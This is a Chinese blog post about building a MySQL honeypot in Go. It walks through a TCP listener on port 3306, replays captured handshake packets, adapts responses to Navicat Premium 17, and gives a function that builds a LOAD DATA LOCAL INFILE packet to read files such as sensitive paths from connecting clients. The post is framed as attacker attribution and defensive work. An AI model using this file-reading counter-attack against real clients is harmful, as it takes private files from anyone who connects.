闲聊几句
最近有溯源的一个需求,第一时间就想到了蜜罐。JSONP、配置文件、安全工具看了一圈下来,感觉最好用的还是 MySQL 蜜罐
Github 上有很多 MySQL 蜜罐的优秀项目,但是恕我大胆一句:代码逼死强迫症
但,在造轮子的过程中,还是有不少不一样的收获
Go TCP
Github 的项目大部分都是 Python socket 模拟 MySQL 前两个数据包的交互过程:
1、服务器发送MySQL的版本信息
2、接收客户端的账户验证信息,返回登录成功数据包
那 Go 自然也可以使用 net 来模拟 MySQL 和各个类型客户端的交互过程
先来看下 Go net TCP 服务器的代码:
func SqlHoneypot() {
listener, err := net.Listen("tcp", ":3306")
if err != nil {
log.Fatalf("Error listening on port 3306: %v", err)
}
defer listener.Close()
log.Info("Server is listening on port 3306")
for {
conn, err := listener.Accept()
if err != nil {
log.Warnf("Error accepting connection: %v", err)
continue
}
go func(conn net.Conn) {
defer conn.Close()
log.Warnf("New connection from: %s", conn.RemoteAddr())
honeypotPayload(conn)
}(conn)
}
}
绑定 TCP 协议和 3306 端口,使用 Goroutine 来简单处理并发,再加入无限的 for 循环不断刷新来接收客户端发来的不同信息
Goroutine:https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html
MySQL 交互过程分析
先来看下 MySQL 命令行客户端和服务端的交互流程
详细的数据流量交互:
1、连接数据库
2、客户端发送验证信息
3、客户端发送查询语句
在 Go 中的代码实现就呼之欲出了,利用 WireShark 可以直接复制 hex 编码后的数据包,直接在代码中定义
ServerGreeting = "4a0000000a352e372e32360008000000603e236c7f09736f00fff7c00200ff811500000000000000000000670635447d1c64532f02665c006d7973716c5f6e61746976655f70617373776f726400"
完整代码:https://github.com/C1ph3rX13/MythSQL/blob/main/mysql/Protocol.go
交互代码
网上盛传的 Navicat Premium 反制,在新版本更新之后已经被客户端限制:报错 200
但,蜜罐分析了最新版本的 Navicat Premium 17 的交互过程,可以完美适配
交互过程包括:
1、发送和接收
// honeypotPayload 处理连接并发送蜜罐负载
func honeypotPayload(conn net.Conn) {
defer conn.Close()
if err := send(conn, ServerGreeting); err != nil {
log.Warnf("Error sending greeting: %v", err)
return
}
if err := send(conn, LoginOK); err != nil {
log.Warnf("Error sending login: %v", err)
return
}
for {
buf, err := bRecv(conn)
if err != nil {
log.Warnf("Error reading data: %v", err)
return
}
if err = processCommands(conn, buf); err != nil {
log.Warnf("Error processing commands: %v", err)
return
}
}
}
2、判断客户端的回复,做出对应的模拟
// processCommands 处理请求中的命令
func processCommands(conn net.Conn, buf []byte) error {
cmd := string(buf)
var resp string
switch {
case strings.Contains(cmd, `utf8mb4`):
resp = SetName
case strings.Contains(cmd, `lower_case_%`):
resp = Ndbcluster
case strings.Contains(cmd, `information_schema.SCHEMATA`):
resp = Schemata
case strings.Contains(cmd, `SHOW DATABASES`):
resp = ShowDatabases
default:
resp = Aggressor
}
return send(conn, resp)
}
3、其余响应一律发送读取文件的数据包
MySQL Payload
利用 LOAD LOCAL INTO FILE 读取攻击者本地文件是 MySQL 蜜罐的经典操作
先看下 Payload 的构造规则
最后得出构造规则的代码
// LoadLocalIntoFile 构造自定义读取文件的 Payload
func LoadLocalIntoFile(filename string) string {
fileChr := []byte{byte(len(filename) + 1)}
padding := []byte{0x00, 0x00, 0x01, 0xfb}
fileByte := []byte(filename)
evilResp := append(append(fileChr, padding...), fileByte...)
return hex.EncodeToString(evilResp)
}
读取文件
总结
1、交互的数据包可以利用抓包模拟,这样简单粗暴
2、交互的规则需要灵活判断攻击者的思路,内置多个敏感路径去读取文件
3、当攻击者使用有防护的客户端时,无效
最后,项目地址:https://github.com/C1ph3rX13/MythSQL
各位,不错的话,给个 Star 啊
请登录后查看评论内容